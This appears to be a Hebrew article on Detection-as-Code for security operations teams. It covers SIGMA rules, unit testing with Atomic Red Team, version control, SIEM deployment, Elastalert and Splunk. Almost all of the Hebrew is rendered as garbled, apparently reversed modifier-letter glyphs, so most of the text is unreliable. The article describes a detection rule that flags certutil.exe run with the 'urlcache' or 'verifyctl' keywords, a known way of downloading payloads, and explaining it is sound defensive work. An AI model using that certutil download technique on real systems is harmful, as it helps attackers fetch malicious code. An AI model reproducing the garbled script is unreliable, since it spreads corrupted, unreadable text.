˸ˣ˪ˠ˪ ˨˧˶˴˷ ˸ˣ˧˪ˬˣˮ˞ˣ ˸ˣˡˣ˷˥ ˸ˣ˧ˣˠˢˮ˸ˢ ,˸ˣ˧˪˞˧˴ˮ˦ˣ˲ ˸ˣ˲˵˸ˢ ˧ˠˣ˯ ˫˧ˢˤˬ ˫ˢ .˭ˣˠ˶˞˪. 

 

 ˟˪˷н - ˡˣ˵˩ ˧ˣˢ˧ˤ ˧˵ˣ˥ ˸˟˧˸˩: 

˟ ˫˧˷ˬ˸˷ˬ ˫˧ˮˣˠ˶˞ ˪˪˩ ˨˶ˡ˟ ,ˢˤ ˟˪˷˟ ˣˬ˩ ,˫˧˥ˣ˸˲ ˫˧˵ˣ˥ ˧˶ˠ˞ˬSIGMA ˸ˣ˶˟˥ ˫ˠ ˷˧˷ ˸ˣ˶ˬ˪ ,

 ˣˬ˩ ,ˢˤˢ ˫ˣ˥˸ˢ ˪˰ ˵ˣ˧ˡ˟ ˭ˬ˴˰ ˸˞ ˣˮ˟˷SOCPrime x-Snapattack .SIGMA  ˥ˣ˸˲ ˶ˣ˵ˬ˟ ˶ˠ˞ˬ ˞˧ˢ

 ˸˶˟˥ ˧ˡ˧ ˪˰ ˶˴ˣˮ˷Nextron ˥˸˲˪ ˸ˮˬ ˪˰ ˣ˟ ˫˧˶ˤ˰ˮ ˫˧˥ˬˣˬˣ ˸ˣ˶˟˥ ˭ˣˬˢ˷ ˶ˠ˞ˬ ˸ˣ˧ˢ˪ ˢ˩˲ˢ ˞˧ˢ .

 ˧˵ˣ˥ .˫˧˷ˡ˥ ˧ˣˢ˧ˤ ˧˵ˣ˥SIGMA ˟ ˫˧˟ˣ˸˩-YAML ˥˵˧ˮ .ˢˬˠˣˡ˪  ˵ˣ˥:˶ˠ˞ˬˢˬ  ˵ˣ˥SIGMA  ˶ˣˬ˞ ˫˴˰˟

 ˞ˣˢ ˵ˣ˥ˢ ˪˷ ˫˷ˢ ,ˢ˪˰ˬ˪ ˢˬˠˣˡ˟ .˫˧ˣ˯ˬ ˫ˣ˧˞ ˸ˣˢˤ˪ ˫˧˶ˣˬ˞ ˣˮ˥ˮ˞ ˨˧˞˪ ˢ˧˴˵˧ˡˮ˧˞ ˣˮ˪ ˸˸˪

ά{ǳǎǇƛŎƛƻǳǎ 5ƻǿƴƭƻŀŘ Ǿƛŀ /ŜǊǘǳǘƛƭΦŜȄŜέ: 

 

https://github.com/SigmaHQ/sigma/tree/master
https://github.com/SigmaHQ/sigma/blob/master/rules/windows/process_creation/proc_creation_win_certutil_download.yml
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˷ˣˬ˧˷ ˸ˣˢˤ˪ ˞˧ˢ ˣ˸˶˦ˬ˷ ˭˧˟ˢ˪ ˭˸˧ˮ ,˵ˣ˥ˢ ˪˷ ˶˧˴˵˸ˢ ˧˲˪ ˟-LOLBIN  ˞˶˵ˮ˷Certutil ˫˧˪ˠˡ ˫˰ ,

˧ˣ˲˧ˬ ˣˮ˪ ˵˲˯˪ ˠ˞ˡ ˫ˠ ˵ˣ˥ˢ ˶˴ˣ˧ .˫˧˴˟˵ ˪˷ ˢˡ˶ˣˢ ˢˤˢ ˧˪˩˪ ˫˧˶˷˲˞ˬˢ ˫˧ˬ˧ˣ˯ˬ ˪-MITRE ATT&CK 

Framework ˪˷ ˢ˶ˬˣ˥ ˸ˬ˶ˣ ,Medium ˵ˣ˥ ˪˷ ˶˸ˣ˧˟ ˟ˣ˷˥ˢ ˵˪˥ˢ .SIGMA ˸˧ˠ˸ ˸˥˸ ˞˴ˬˮ s-

ά5ŜǘŜŎǘƛƻƴέ ˢ˶ˣ˷˟ ,нн˸˧ˠ˸ˣ , s-ά/ƻƴŘƛǘƛƻƴέ ˢ˶ˣ˷˟ ,он˸˧ˠ˸ . s-Detection  ˸˞ ˫˴˰˟ ˣˮ˪ ˢ˶˧ˡˠˬ

 ˰ˣ˶˧˞˟ ˶˟ˣˡˬ˷ ˭˧˟ˢ˪ ˫˧˪ˣ˩˧ ˣˮ˥ˮ˞ ,ˣˮ˪˷ ˢˬˠˣˡ ˵ˣ˥˟ .˸˦˶ˣ˲ˬ ˢ˶ˣ˴˟ ˸ˣˢˤ˪ ˞˟ ˵ˣ˥ˢ˷ ˢˬWindows 

Event ID 4688  ˰ˣ˶˧˞˟ ˣ˞Sysmon event ID 1 ˢ˶ˣ˷˟˷ ˭ˣˣ˧˩ˬ ,нл  ˣˮ˪ ˶ˡˠˣˬCategory  ˪˷

process_creation . 

 

ˣ˟˷ ˰ˣ˶˧˞ ˪˩ ˷˲˥ˬ ˵ˣ˥ˢ s-Process name  ˞ˣˢάŎŜǊǘǳǘƛƭΦŜȄŜέ ˢ˷ˣ ,Commandline  ˸˞ ˣ˩ˣ˸˟ ˪˧˩ˬ

 ˸ˤˣ˶˥ˬˢάǳǊƭŎŀŎƘŜέ  ˣ˞ ˸ˤˣ˶˥ˬˢ ˸˞άǾŜǊƛŦȅŎǘƭέ ˢ˧˴˵˧ˡˮ˧˞ ˞˧ˢ ˣ˪˞ˢ ˫˧ˮˣ˸ˮˢ ˸˷ˣ˪˷ ˪˷ ˟ˣ˪˧˷ˢ .

 ˨˧˪ˢ˸˷ ˨˩˪Certutil  ˳˟ˣ˵ ˡ˧˶ˣˢ˪ ˢ˯ˮˬ-  ˣˮ˥ˮ˞˷ ˵ˣ˥ˢ ˢˬ ˠ˷ˣˬ ˣˮ˪ ˷˧˷ ˶˥˞˪ .ˢˡˣ˷˥ ˢ˪ˣ˰˲ ˧ˢˣˤˣ

˸˩˶˰ˬ˪ ˫˧˞˸˧˷ ˨˩ ˣ˸ˣ˞ ˫˧˶˧ˬˬ ˣˮ˥ˮ˞ ˨˧˞ ˭˧˟ˢ˪ ˨˶˦˴ˮ ˣˮ˥ˮ˞ ,˰˧ˬ˦ˢ˪ ˫˧˴ˣ˶ s-SIEM  ˣˮ˥ˮ˞ ˢ˸˧˞˷

.˧˥˩ˣˮˢ ˶ˬ˞ˢˬ ˵˪˥ ˢ˧ˢ˧ ˞˪ ˭˩˪ˣ ˧ˡˬ ˵ˣˬ˰ ˞ˣˢ ˢˤ ˞˷ˣˮ .ˢ˧˪˞ ˣ˸ˣ˞ ˫˧˴˧˲ˬ ˤ˞ˣ ,˫˧ˡ˟ˣ˰ 
 

˟˪˷ о - Unit Testing: 

 ˧ˮ˲˪ .˫˧˰ˣ˶˧˞˪ ˭ˣ˩ˮ ˫˧˟˧ˠˬ ˫˧˵ˣ˥ˢ˷ ˞ˡˣˣ˪ ˧ˡ˩ ˸ˣ˧˦ˬˣ˦ˣ˞ ˸ˣ˵˧ˡ˟ ˪˷ ˨˧˪ˢ˸˟ ˫˧˵ˡ˟ˮ ˫˧˵ˣ˥ˢ ,ˢ˯˧˶˲

ˢˡ˧˥˧ ˸ˣ˵˧ˡ˟ ˸ˣ˰˴ˬ˞˟ (unit tests),  ˡ˟ˣ˰ ˧ˣˢ˧ˤˢ˷ ˥˧˦˟ˢ˪ˣ ˫˧˧˪ˬ˯ ˫˧˰ˣ˶˧˞ ˪˰ ˫˧˵ˣ˥ ˪˧˰˲ˢ˪ ˭˸˧ˮ

˧ˣ˞˶˩. ˫ˠ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ˟-Atomic  ˢ˧˴˪ˣˬ˧˯ ˰˴˟˪ ˸ˮˬ ˪˰demand-on  ˫ˢ˷ ˥˧˦˟ˢ˪ ˧ˡ˩ ˫˧˵ˣ˥˪

.˶˶ˣ˷ˬˢ ˸ˮˣˣ˩ ˧˲˪ ˰ˣ˶˧˞ ˫˧˶˴˧˧ˬ 
 

˟˪˷ п - Version Control: 

ˣˬ˩ ˸ˣ˞˯˶ˠ ˸˶˵˟ ˸˩˶˰ˬ˟ ˪ˢˣˮˬ ˡˣ˵ˢ Git,  ,˫˧˧ˣˮ˧˷ ˧˶˥˞ ˟ˣ˵˰˪ ˰ˡ˧ˬˢ ˸˥˦˟˞ ˧˸ˣˣ˴˪ ˶˷˲˞ˬ˷ ˢˬ

 ,˫˧˵ˣ˥˟ ˫˧˶ˣ˲˧˷ ˪˷ ˢ˧˶ˣ˦˯˧ˢ ˪˰ ˶ˣˬ˷˪ ˪˷ ˢ˰ˬ˦ˢˣ ˥ˣ˸˧˲ ˪˰ ˸˶˵ˣ˟ˬˣ ˸˶ˡˣ˯ˬ ˢ˶ˣ˴˟ ˡˣ˟˰˪ˣ

˫˧˷ˡ˥ ˫˧˵ˣ˥. 

 

˟˪˷ р - Deployment: 

 ˸˟˧˟˯˟ ˫˧˯˶˲ˮ ˫˧˵ˣ˥ˢ ,˸ˣ˵˧ˡ˟ ˣ˶˟˰˷ ˶˥˞˪Production ˧ˡ˩ ˫˧˧˦ˬˣ˦ˣ˞ ˫˧˪˩˟ ˷ˬ˸˷ˢ˪ ˭˸˧ˮ ˭˞˩ .

˫˧˵ˣ˥ˢ ˸˞ ˰˧ˬ˦ˢ˪ ˟-SIEM˨˶ˡ ˪˪˩ ˨˶ˡ˟ , s-API .˫ˢ˪˷ 

 

˟˪˷ с - ˶ˣ˦˧ˮ ˢˬ˞˸ˢˣ: 

 ˸ˣ˪˧˰˲ˢ ˨˪ˢˬ˟ .˸˧˟˧˦˵˲˞ ˢ˶ˣ˴˟ ˫˧ˬˣ˧˞ ˫˧ˢˤˬ ˫ˢ˷ ˞ˡˣˣ˪ ˧ˡ˩ ˫˧˶˦ˣˮˬ ˣ˯˶˲ˮ˷ ˫˧˵ˣ˥ˢ ,˸˲˦ˣ˷ˢ

˫˞˸ˢ˟ ˫˧ˮ˩ˡˣ˰ˬ ˫˧˵ˣ˥ˢ ,˸ˣ˷ˡ˥ ˸ˣ˲˵˸ˬ ˸ˣ˪ˠ˸ˬ ˫˞ ˣ˞ ˞ˣˣ˷ ˸ˣ˵˰ˤ˞ ˧ˡˬ ˶˸ˣ˧ ˷˧ ˫˞. s-SOC  ˞ˣˢ

˫˧ˡ˟ˣ˰ ˫ˢ ˧˩ ,ˢˤˢ ˟˪˷˟ ˣˮ˪˷ ˟ˣ˦ ˧˩ˢ ˶˟˥ˢ ˟-."˥˦˷" 

 

https://lolbas-project.github.io/
https://github.com/redcanaryco/atomic-red-team
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˨˧˞  ˫˷˧˧ˬ ˧ˮ˞Detection-as-Code ˧˪˷ ˢˡˣ˟˰ˢ ˫ˣ˵ˬ˟? 

ˢˤ˩ ˶˸ˣ˧ ˣ˞ ˸ˣ˥˲ ˞ˣˢ ˨˧˪ˢ˸ˢ ˪˟˞ ,˵ˬˣ˰˪ ˫˧˦˶˲ ˧ˡˬ ˶˸ˣ˧ ˱ˣ˷˥˞ ˞˪  ˞˪ ˧˸ˮ˩ˢ˷ ˸ˠ˴ˬˬ ˥˵˪ˮ)

:(˭ˬˤˬ 
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˫˧˥˵˪ ˫˧˟ˣ˷˥ ˧˸ˡˬ˪˷ ˡ˧˵˲˸˟ 

 ˨˞ .ˢ˪˷ ˸ˣ˩˶˰ˬ˟ ˫˧˵˧ˤˬ ˫˧˰ˣ˶˧˞ "˸ˣˢˤ˪" ˸˪ˣ˩˧ˢ ˸˞ ˥˸˲˪ ˢ˥˧˪˴ˬ ˢ˥˦˟˞ ˸˧ˮ˩ˣ˸ ˪˩ ,˫˧ˣ˯ˬ ˟˪˷˟

 ˧ˮˡ˧ ˥ˣ˸˧ˮ ˪˷ ˯ˬˣ˰ ˶˴ˣ˧ ˶˟ˡˢˢ˧˴˪˵˯˞ˣ ˥˪˴ˣˬ ˰ˣ˴˧˟˪ ˢ˷˵ ˨˧˪ˢ˸ ˢˤˣ ,˫˧˞˴ˬˬˢ ˪˷.  ˢˮˣ˶˥˞˪

 ,˧˪˷ ˢ˶˧˧˶˵˟˟ ˶˸ˣ˧ˣ ˶˸ˣ˧ ˭˧˧ˮ˰˸ˬ ˧ˮ˞˨˧˞ .˫˧ˡ˵˲˸ˬ ˫˧˟ˣ˦ ˢ˥˦˟˞ ˧˸ˣˣ˴ 

 ˧˪ ˶˷˲˞ ˶˟ˡˢ ,˸ˣ˟ˣ˦ ˸ˣ˥˲ˢ ˭ˢˣ ˸ˣ˟ˣ˦ˢ ˭ˢ ,˸ˣ˶˧ˡ˥ ˧ˣ˪˧ˠ˪ ˸ˣ˷˧ˠ ˪˷ ˸ˣˮˣ˷ˢ ˸ˣ˧ˣ˩˧˞˪ ˸˵˸˶ˬ ˢ˲˧˷˥

˪˞ˣ sx ˧˪˷ ˸ˣ˰ˡˢ ˭ ˧˸ˣˣ˴ ˪˷ ˫˧ˮ˧˧˲˞ˬˢ ˧˟ˠ˪Detection ˢˢˣ˟ˠ ˢˬ˶˟ ˫˧ˡ˵˲˸ˬ: 

 

˫˧˸ˣˣ˴ ˫˧˶ˡˢˮ ˞˪ ˫˧˶˸ˣ˲ ˸ˣ˧˰˟ ˧ˣˢ˧ˤ ˫˰ ˫˧˦˯˧˪ˮ˞ 

 ˢ˸ˣ˞ ˶ˣ˵˥˧ ,˶˷˵ˢ ˰˴˟˧ ,˸˧ˮˡ˧ ˢ˰˶˸ˢ ˪˟˵˧˷ ˫ˡ˞˟ ˨˶ˣ˴ ˷˧ ˶˷˞˩˶˧˯˧ˣ  ˫ˣ˧˞ˢ ˸˞-  ˢˤ˶˩ˢ˟ ˶˟ˣˡˬ

˭ˣ˪˷˧˩ ˪˰ .˫˧˷ˡ˥ ˫˧˶˴ˣˬ ˰˧˴ˬ ˫˧ ˸˸˥˲ˢ˪ˣ ˣ˪˞ ˫˧˯ˬˣ˰ ˪ˣˢ˧ˮ˪ ˸ˣ˧ˣ˶˷˲˞ ˢ˟˶ˢ˫˧˦˯˧˪ˮ˞ˢ ˸ˣ˲˧˧˰ 

˸˧˸ˣ˰ˬ˷ˬ ˢ˶ˣ˴˟ ˨˩ˬ ˸˰˟ˣˮˢ. 

 ˫˧˞ˣ˶ ˶˸ˣ˧ ˫˧˷˪˥ ˫˧˸ˣˣ˴ ˢˤˢ ˧ˮ˞˩ˬˢˣ ˧ˮˡ˧ˢ ˨˧˪ˢ˸ˢ ˸˞˯˩ˮ ˶ˣ˸˟ ˫ˣ˦˲ˬ˧˯˩ ˣ˸ˣ˞ ˸ˣˢˤ˪ ˫ˣ˵ˬ˟ ,

˥ˣ˸˧˲˟ ˫˧ˡ˵ˬ˸ˬ ˞˪ ˶˸ˣ˧ ˫˧˵ˤ˥ ˫˧˸ˣˣ˴ ,˸˞ˤ ˸ˬˣ˰˪ .ˢ˧˰˟˪ SOC  ˸ˣ˰˶˸ˢ ˟˧˸ˮ˪ ˫˸ˣ˞ ˪˧˟ˣˬ˷ ˶ˡˣˠˬ

˪˪˩ ˭ˣ˶˸˲ˢˬ ˵˪˥ ˢ˧ˢ˧ ˞˪ ˫ˡ˞ˢ˷ ˫˧˲˧ˡ˰ˬ ˞˪˞ ,˧ˮˡ˧ ˥ˣ˸˧ˮ˪.  ˸ˣ˰˶˸ˢ ˸˪˟˵ ˪˷ ˸ˣˮˮˣ˩ ˸ˣ˶ˬ˷ˬ

ˮˬˣ˧ˬ ˫˧˯ˡˮˢˬ ˪˷ ˭˦˵ ˶˲˯ˬ ˯˧˧ˠ˪ ˨˧˷ˬˢ˪ ˸ˣ˶˷˲˞ˬ ˥˧˦˟ˢ˪ ˞ˣˢ ˶ˠ˸˞ˢ .˫˧˦˯˧˪ˮ˞ ˢ˟˶ˢ ˫ˣ˵ˬ˟ ˫˧

˪˟ˤ˟ ˸ˣ˯ˣˬ˰ ˣ˧ˢ˧ ˞˪ ˣ˪˞ ˸ˣ˶ˬ˷ˬ˷. 

 

˫˧˸ˣˣ˴  ˢ˲˧˞˪ ˫˧˰ˡˣˬ ˫˧˶ˡˢˮ˨˧˞˪ˣ  ˸ˡˣ˟˰Analysis ˸˶˴ˣˮ 

˫˧˷ˮ˞ ˶˲˯ˬ ˪˷ ˪˵˷ˬˢ ˸˞ ˫˧˶ˢ˪ ˪ˣ˩˧ ,˭ˣ˩ˮˢ ˱ˣˮˬˢ ˫˰ ,ˡ˥˞ ˫ˡ˞.  ˶˴˧˧˪ ˪ˣ˩˧ ˡ˥˞ ˫ˡ˞ ,˨˩˪ ˢˬˣˡ˟

 ˱ˣˮˬ ˢˤ˪ ˞˶˵ˮ .˫˧˶˥˞ ˫˧˟˶ ˶ˣ˟˰ ˢˡˣ˟˰ˢˡˣ˟˰ˢ.  ˢˡˣ˟˰ ˪˷ ˫˧˥ˮˣˬ˟ ˰ˡ˧ˬ ˸˥˦˟˞ ˸ˣ˞˶˪ ˶˷˲˞

˥ˣ˸˧ˮˣ ˸ˣ˰˶˸ˢ .˯˶ˢˣ ˢ˧˧ˮ˟ .˫˧ˮˣ˩˧˯ ˫ˣ˴ˬ˴˪ˣ ˫˧ˮˣ˩˧˯ ˧ˣ˪˧ˠ˪ ˸˵˪˥˸ˬˢ ˸˧˷˧˞.  ˪˪˩ ˨˶ˡ˟ ˫˧ˮˣ˩˧˯ ˧ˣ˪˧ˠ

˭ˣ˩˧˯ˢ ˫ˣ˴ˬ˴˪ ˢˡˣ˟˰ ˢ˟˶ˢ ˶˴˧˧ˬ. 

 ,ˢˬˠˣˡ˪ .ˢ˸ˣ˞ ˭˵˸˪ ˶˷˞ˬ ˸ˣ˰˧ˠ˲ ˸ˣ˪ˠ˪ ˶˸ˣ˧ ˪˵ ˪˪˩ ˨˶ˡ˟ ˪˷ ˸˥˞ ˢ˰˷Threat Hunting  ˸˧˷˰˷

˶˥˞ ˣˢ˷˧ˬ ˪˰ ˭ˣ˵˧˸ ˸ˡˣ˟˰ ˪˷ ˸ˣ˰ˣ˟˷ ˪˧˦ˢ˪ ˢ˪ˣ˩˧ ˨ˬ˴˰˟. ˫˧ˮˣ˩˧˯ ˸˩˶˰ˢ ˸ˡˣ˟˰ ˫ˠ ˞˧ˢ  .ˢˬˣˡ

 ˫˧˦˵˧ˣ˶˲ ˪˷ ˸˧ˡˣ˯˧ˣ ˢ˩ˣ˶˞ ˫˧˩˶ˡ ˸˲ˬ ˶˴˧˧˪ ˨˧˶˴ (˫˧˦˰ˬ ˧ˡ˧ ˪˰ ˸˧˷˰ˮ˷) ˫˧ˮˣ˩˧˯ ˸˩˶˰ˢ ˪˷ ˶˴ˣ˸ˢ

(˫˧˟˶ ˶ˣ˟˰) ˭ˣ˩˧˯ˢ ˫ˣ˴ˬ˴˪. ˸ˣ˞˶˸ˢ˟ˣ ˧ˣˢ˧ˤ˟ ˫ˠ ˱˵˸ ˢˤˢ ˵ˣ˥ˢ. 

ˡ˵ˣˬˢ ˭ˬˤˢ ˸˶˧˴˧˪ ˷˵ˣ˥  ˟˧ˠˬ˷ ˧ˬ˪ ˢˡˣ˟˰ ˪˷ ˸˧˸ˣ˰ˬ˷ˬ ˸ˣˬ˩ ˢ˞˶ˮˢ ˪˩˩ ˶˴˧˧ ˢ˩ˣˬˮ ˸ˣ˩˧˞˟ ˧ˣˢ˧ˤ

 ˫˰ ˫˧˶˥˞ ˱˧˴ˢ˪ ˫˧˪ˣ˪˰ ˢ˰ˣ˶ˠ ˧ˣˢ˧ˤ ˸˩˶˰ˬˣ ˡ˥˞ ˫ˡ˞ .˭˩ˬ ˶˥˞˪ ˸ˣ˰˧ˠˬ˷ ˸ˣ˰˶˸ˢ˪˫˧˵ˣ˥  ˫˧˰˶

˶˸ˣ˧ˬ ˷˰˶ˣ. ˸˩˶˰ˬ ˸˞ ˱˧˴ˢ˪ ˪ˣ˩˧ ˡ˥˞ ˫ˡ˞ ,˭˲ˣ˞ ˣ˸ˣ˞˟ s-Logging  ˧˶˯˥ ˫˧ˮˣ˸ˮ ˫˰ ˸˧ˤ˩˶ˬˢ

˸˪˰ˣ˸˶˴ˣˬ ˣˮ˵˧˷ ˣ˞ ˫˸ˣ˞ ˷˶˲˧ ˶˥˞ ˣˢ˷˧ˬ˷ ˢ˥ˮˢ˟ , AI ˣˢ˷˪˩ ˨˶˰ ˫ˢ˪ ˵˧ˮ˰˧˷ ˫ˣ˯˵. 
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˭ˣ˧˪ˠ 167, ˶˟ˬ˟ˣˮ нлнп  оп 
 

 ˭˧˟ ˶˴ˣˮ˷ ˢˤˢ "˭ˣˤ˧˞ˢ ˶˯ˣ˥"˪ ˡˣ˞ˬ ˫˧˰ˡˣˬ˷ ˫˧˯ˡˮˢˬ ˧ˡ˧ ˪˰ ˸˥˸ˣ˲ˬ ˶˸ˣ˧ ˢ˟ˣ˦ ˧ˣˢ˧ˤ ˸˧˸˷˸

 ˫˶ˤ ˸˞ ˣ˪˧˟ˠ˧ ˫ˢ .˨˷ˬˢ˟ ˸˶˸ˣ˧ˬ ˢˡˣ˟˰ ˸˶˧˴˧ˬ ˰ˮˬ˧ˢ˪ ˧ˡ˩ ˟˦˧ˬˢ ˸˞ ˫˧˷ˣ˰ˣ ,ˢ˶˧˟˷/˧ˣ˪˧ˠ

ˮ˩ˮˢ ˫˧ˮˣ˩˧˯ˢˣ˪˧ˠ ˶˟˩˷ ˢˬ ˸˞ ˫˴ˬ˴˪ ˶˸ˣ˧ ˟ˣ˦ ˧ˣ˩˧˯ ˫ˢ˪ ˢ˧ˢ˧˷ ˧ˡ˩ ˫˧˯. 

 ˸˶˧˴˧˪ ˰ˠˣˮ˟ ˫˧˶˸ˣ˯ ˫˧˴˧˶ˬ˸ˬ ˰ˮˬ˧ˢ˪ ˰˧˧˯˸ ˦˯˧˪ˮ˞˪ ˯ˡˮˢˬ ˭˧˟ ˢˡ˶˲ˢˢ ˸˶˯ˢ˫˧˵ˣ˥  ˸˶˧ˠ˯ˣ

˸ˣ˞˶˸ˢ ˪˩ .ˣ˶˴˧ ˫ˬ˴˰ ˫ˢ˷ ˸ˣ˩˶˰ˬˢ ˫˰ ˡˣ˟˰˪ ˸ˣˣ˴˪ ˫ˣ˶ˠ˧ ˢ˧˴˦ˣ˶ ˯˧˯˟ ˪˰ ˸ˣˮˮˣ˩ ˸ˣ˶ˬ˷ˬ ˫ˣ˧˵ .

ˣˠ ˪˰ ˫˧˞˶˥˞ ˣ˧ˢ˧ ˫˧˲˸˸˷ˬˢ ˣˤ ˢ˦˧˪˷ ˶˯ˣ˥ ˸˷ˣ˥˸ .˸ˣ˧ˮˣ˴˧˥ ˸ˣ˰˲˷ˢ ˪˷ ˸ˣˮ˟˶ˣ˵ ˣ˷˧ˠ˶˧ ˞˪ˣ ,˫˪˶

˟ ˢ˵˧˥˷˪ ˧˸ˣ˰ˬ˷ˬ ˫˶ˣ˸ ˞˧ˢ-SOC ,˫ˢ˪˷ ˢˡˣ˟˰˟ ˫˧˦˪ˣ˷ ˫ˢ˷ ˫˧˷˧ˠ˶ˬ ˞˪ ˫˧˷ˮ˞˷ ˭ˣˣ˧˩. 

 

˫˧˸ˣˣ˴ ˫˧˶ˡˢˮ ˫˧˟˞ˣ˷ ˸ˣ˟˶˸ˬ ˢ˯ˡˮˢˢ ˪˷ ˭ˣˠ˶˞ˢ 

 ˸˶˧˴˧ ˫˧˶˷˲˞ˬ ˫˧˵˲˯ ˫˧˰˧˴ˬ˷ ˢ˥˦˟˞ˢ ˧˪˩ ˟ˣ˶˫˧˵ˣ˥  ˟ˣ˶˪ ,˦˯˵˦ ˸ˣˡ˷ ˫˰ ˫˧˧˲˶ˠ ˫˧˵˷ˬˬ ˨˶ˡ

˫˧˸˧ˬ˰ ˸˶ˣ˵˧˟ ˸˞˩ˡˬ ˣˤ ˢ˷˧ˠ .˫˧˷ˮ˞ ˪˷ ˭˦˵ ˶˲˯ˬ ˧ˡ˧˟.  ˫˧˵ˣ˥ˢ ˶˷˞˩ ˢ˰˶˪ ˶˧ˬ˥ˬ ˢˡˣ˟˰ˢ ˱ˣˮˬ

.˸ˣ˩˧˞ ˸˶˵˟ ˣ˞ ˟ˣ˷ˬ ˸˞˪ˣ˪ ˞˪˪ ,˸ˣˮˮˣ˩ ˸ˣˣ˴˪ ˣ˞ ˸˶˥˞ ˢ˴ˣ˟˵˪ ˸˶ˣ˵˧˟ ˞˪˪ ˫˧˶˟ˣ˰ 

ˤ ˸˶˷˲˞ˬ ˧ˣˢ˧ˤˢ ˸˧˸˷˸ ˶˷˞˩ ˨˶˰ ˸˪˰˟ ˞˧ˢ ˫˧˸˧ˬ˰ ˸˶ˣ˵˧˟ ˸˶ˣ˵˧˟ ˸˶˦ˬ ,ˢˤˢ ˢ˶˵ˬ˟ .˸˞

 ˰ˣˮˬ˪ ˥˶˩ˢ˟ ˢˮ˧˞ ˫˧˸˧ˬ˰ˢ˫˧ˠ˞˟ ˫˰ ˡˣ˵ ˨˲ˣˢ ˢˬ ˧˟ˠ˪ ˢˣ˟ˠ ˦˶ˡˮ˦˯ ˪˰ ˶ˣˬ˷˪ ˞˪˞ ,˵ˣ˥ ˪˵ˣ˥ 

˧ˮ˷ˢ ˢ˴˵˟ ˶˸ˣ˧ˬ ˯ˬˣ˰ ˰ˣˮˬ˪ ˨˩ˣ ,˟ˣ˦. ˟ ˸˷ˬ˸˷ˬˢ ˧ˣˢ˧ˤ ˸˧˸˷˸˟ ˸˞ˤ ˫˷˧˧˪ ˸˧˯˥˧ ˪˵-Elastalert .

 ˪˩˷ ˭ˣˣ˧˩ˬ˫˧˵ˣ˥ˢ ˧˴˟˵ ˪˰ ˫˧˯˯ˣ˟ˬ ˢ˪˷ yml. Splunk ˳˟ˣ˵ˬ ˢ˰˶˸ˢ ˸ˣ˶ˣ˴˸ ˞ˣ˶˵˪ ˪ˣ˩˧ 

.savedsearches.conf  

 ˟ˣ˶ .˫˧˶˩ˣˬ ˫˧˧˯ˡˮˢ ˫˧˦˶ˡˮ˦˯ ˧˲˪ ˪ˣ˰˲˪ˣ ˫˧˶ˠ˞ˬ˟ ˪ˢˮ˸ˢ˪ ˢ˩˧˶˴ ˢˢˣ˟ˠ ˸ˣ˩˧˞˟ ˧ˣˢ˧ˤ ˸˧˸˷˸

˧˸˷˸ˢˣ˶˟ˣ˰ ˸ˣ ˸ ˸˶ˣ˴˸˪Configuration-as-Code ˢˮ˧˞ ˢ˥˦˟˞ ˭˩˪ˣ ,ˢ˶˵ˬ ˪˩˟  ˸˞˴ˣ˧ ˸ˣ˧ˢ˪ ˢ˩˧˶˴

 ˥ˣ˸˧˲ ˪˰ ˸ˣ˧˶˥˞ .˭˲ˣˡ˫˧˵ˣ˥ˢ ˢˡ˧˥˧ ˸ˣ˵˧ˡ˟ ˰˴˟˪ ˫ˠ ˶˷˲˞ˣ ,˸˶˲˸˷ˬ (Unit Testing)  ˸ˣ˵˧ˡ˟ˣ

˶˧˟˥˸  (Linting)˧ˤ˩˶ˬ ˭˲ˣ˞˟. 

 

˫˧˸ˣˣ˴  ˰ˡ˧ˬˢ ˸ˣˬ˩ ˫˰ ˦˯˧˪ˮ˞ˢ ˸˞ ˫˧ˮ˧˩ˬ ˫˧˶ˡˢˮ˸˧˟˶˧ˬˢ ˭˸˧ˮ˷ 

 ˭ˣ˶˸˲˪ ˡˣ˞ˬ ˸ˣ˰˧ˠ˲ ˣ˧ˢ˧ ˫˧ˡ˵ˬ ˡˣ˟˧˰ ˪˷ ˠˣ˯ ˪˩ ˞˪˪ ˦˯˧˪ˮ˞˪ ˸ˣ˥˪˷ˮ˷ ˸ˣ˰˶˸ˢFalse positive 

˨˷ˬˢ˟ ˦˯˧˪ˮ˞ˢ ˸˞ ˣ˵˥˷˧ˣ. ˸ˣ˰˶˸ˢ˪ˣ ˫˧ˡ˵ˬ ˡˣ˟˧˰˪ ˫˧˦˶ˡˮ˦˯ ˪ˣ˵˷˪ ˫˧˩˶ˡ ˢˬ˩ ˷˧. 

 ˷˧˶˧˷˰ˢ˪  ˷ˣ˶ˡ˪ ˧˪˟ˬ ˦˯˧˪ˮ˞˪ ˱˯ˣˮ ˰ˡ˧ˬ ˢ˞˧˟ˬ ˢ˰˶˸ˢ ˣ˟˷ ˦ˣ˶˧˲ ˪˷ ˦˶ˡˮ˦˯ ˶˞˸ˬ ˢˤ .˸ˣ˰˶˸ˢ

ˢˡˣ˟˰  ˟ˣ˵˰˪ ˧ˡ˩ ˫˧˪˩ ˢˬ˩˪ ˶˟ˣ˥ˬ ˸ˣ˧ˢ˪ ˨˧˶˴ ˦˯˧˪ˮ˞ ˣ˟˷ "˫˧˟˞˦ ˫ˣˮ˧ˢ˧ˠ"ˬ ˰ˮˬ˧ˢ˪ ˶ˤˣ˰ ˢˤ .˸˲˯ˣˮ

ˢ˶ˣ˵ ˢˬ ˸˰ˡ˪ ˧ˡ˩ ˵˶ ,˰ˣ˶˧˞ ˧˶˥˞. 

 ˸ˣˮ˰˪ ,˫˧ˮ˲ˡ˲ˡ ˪˷ ˸ˣ˶ˣ˥˷ ˸ˣˬ˧˷˶ˬ ˰ˡ˧ˬ ˵ˣˡ˟˪ ,ˠˮ˧˷˧˲ˢ ˪˷ ˨˯ˬ ˫ˣ˪˧˴ ˪ˣ˪˩˪ ˶˷˲˞ ,ˢˬˠˣˡ˪

ˢˤˢ ˶˸˞˟ ˣ˶˵˧˟ ˫˧˶˥˞ ˫˧˟˷˥ˬ ˢˬ˩" ˢ˪˞˷ˢ ˪˰ ˸˧˦ˬˣ˦ˣ˞˧ˮˣ˸ˮ ˨ˣ˸ˬ " DNS ˣ˞ netflow, ˢˬˣˡ˩ˣ. 

https://github.com/Yelp/elastalert
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 ˪˰ ˤ˧˶˩ˢ˪ ˫˞ˢ ˭˧˟ˢ˪ ˧ˡ˩ ˨˶˦˴˧ ˦˯˧˪ˮ˞ˢ˷ ˶˷˵ˢˢ ˪˩ ˸˞ ˸˞˷ˣˮ ˞˧ˢ ˫˞ ˞˪˞ ˸˧˷ˣˬ˧˷ ˢˮ˧˞ ˢ˰˶˸ˢ

